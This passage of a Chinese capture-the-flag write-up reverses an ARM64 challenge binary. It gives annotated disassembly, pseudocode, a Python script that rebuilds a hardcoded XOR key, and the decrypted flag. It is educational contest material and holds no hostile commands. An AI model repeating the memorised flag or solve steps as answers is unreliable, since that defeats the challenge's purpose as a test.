loop (i = x8, 从 0 到 29):0x23280: ... 除法魔法(x10 = 0x2492492492493)0x23284: and &nbsp;x17, x9, #0xf0x23288: ldrb w17, [x12, x17] &nbsp; &nbsp; &nbsp; ; K[(3+5*i) & 0xf]0x2328c: madd w1, w8, w13, w14 &nbsp; &nbsp; &nbsp;; w1 = i*29&nbsp;+&nbsp;65&nbsp; &nbsp;(w13=0x1d=29, w14=0x41=65)0x23290: eor &nbsp;w15, w17, w15 &nbsp; &nbsp; &nbsp; &nbsp; ; s ^= K[idx]0x23298: eor &nbsp;w15, w15, w1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; s ^= (i*29&nbsp;+&nbsp;65)0x232a0: ubfx w17, w15, #5, #30x232a4: ldrb w0,&nbsp;&nbsp;[x20, x8] &nbsp; &nbsp; &nbsp; &nbsp;; D[i]0x232ac: orr &nbsp;w15, w17, w15, lsl #3&nbsp;; s = rotl8(s,&nbsp;3)0x232b8: eor &nbsp;w16, w15, w0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; t = s ^ D[i]0x232bc: b.eq&nbsp;0x2325c &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 若 i %&nbsp;7&nbsp;==&nbsp;0&nbsp;跳过旋转0x232d0: lsr &nbsp;w17, w1, w17 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 旋转:右移 (i %&nbsp;7)0x232d4: lsl &nbsp;w16, w16, w0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 左移 (8&nbsp;- i %&nbsp;7)0x232d8: orr &nbsp;w16, w17, w16 &nbsp; &nbsp; &nbsp; &nbsp; ; t = ror8(t, i %&nbsp;7)0x2325c: strb w16,&nbsp;[dest, x8] &nbsp; &nbsp; &nbsp; ; 输出0x23264: add &nbsp;x9, x9, #5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 密钥下标 +5 (mod 16)

整理成伪代码:

s&nbsp;= K[7] ^&nbsp;0xA5for&nbsp;i in range(30):&nbsp; &nbsp;&nbsp;s&nbsp;^= K[(3&nbsp;+&nbsp;5*i) &&nbsp;0xF]&nbsp; &nbsp;&nbsp;s&nbsp;^= (i *&nbsp;29&nbsp;+&nbsp;65) &&nbsp;0xFF&nbsp; &nbsp;&nbsp;s&nbsp; = rotl8(s,&nbsp;3)&nbsp; &nbsp;&nbsp;t&nbsp; = s ^ D[i]&nbsp; &nbsp;&nbsp;if&nbsp;i %&nbsp;7&nbsp;!=&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;t&nbsp;= ror8(t, i %&nbsp;7)&nbsp; &nbsp;&nbsp;out[i] = t

其中 rotl8/rorr8 为 8 位循环移位。

六、复现解密脚本

# flag.dat 内容raw =&nbsp;"M1:0798ae9764c74e2a6fd95fc81e6257d57841ef961d54afc0f64f6fdcd9b8"assert&nbsp;raw.startswith("M1:")D =&nbsp;bytes.fromhex(raw[3:]) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 30 字节
# 硬编码密钥 = 两段常量异或A =&nbsp;bytes.fromhex('5d91c42eb70368f019aa7c44d3289f61')B =&nbsp;bytes.fromhex('57b1e285de927a932e4b7f5d777671fd')K =&nbsp;bytes(x ^ y&nbsp;for&nbsp;x, y&nbsp;in&nbsp;zip(A, B)) &nbsp;&nbsp;# 0a2026ab6991126337e10319a45eee9c
def&nbsp;rotl8(x, n):&nbsp; &nbsp;&nbsp;return&nbsp;((x << n) | (x >> (8&nbsp;- n))) &&nbsp;0xFF
def&nbsp;ror8(x, n):&nbsp; &nbsp;&nbsp;return&nbsp;((x >> n) | (x << (8&nbsp;- n))) &&nbsp;0xFF
def&nbsp;main():&nbsp; &nbsp; s = K[7] ^&nbsp;0xA5&nbsp; &nbsp; out =&nbsp;bytearray()&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(len(D)):&nbsp; &nbsp; &nbsp; &nbsp; s ^= K[(3&nbsp;+&nbsp;5&nbsp;* i) &&nbsp;0xF]&nbsp; &nbsp; &nbsp; &nbsp; s ^= (i *&nbsp;29&nbsp;+&nbsp;65) &&nbsp;0xFF&nbsp; &nbsp; &nbsp; &nbsp; s = rotl8(s,&nbsp;3)&nbsp; &nbsp; &nbsp; &nbsp; t = s ^ D[i]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;i %&nbsp;7:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; t = ror8(t, i %&nbsp;7)&nbsp; &nbsp; &nbsp; &nbsp; out.append(t)
&nbsp; &nbsp;&nbsp;print(out.decode())
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

Flag:

flag{WebView_MobIleI_2026Year}

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：三社院信息Sec 三社院信息Sec
三社院信息Sec《第一届创宇杯wp》

Tags: CTF 二进制安全实战经验漏洞分析

你可能错过

【工具学习26】pspy：让你无root也能看透系统里谁在干什么

专题·原创 | 智能体黑匣子：智能体行为风险分析与治理建议

命令行打印输出字符缓慢之谜

别再教AI“当黑客”了：CK-Skills用20个专项技能+中文报告，把顶尖安全研究员的方法论装进你的AI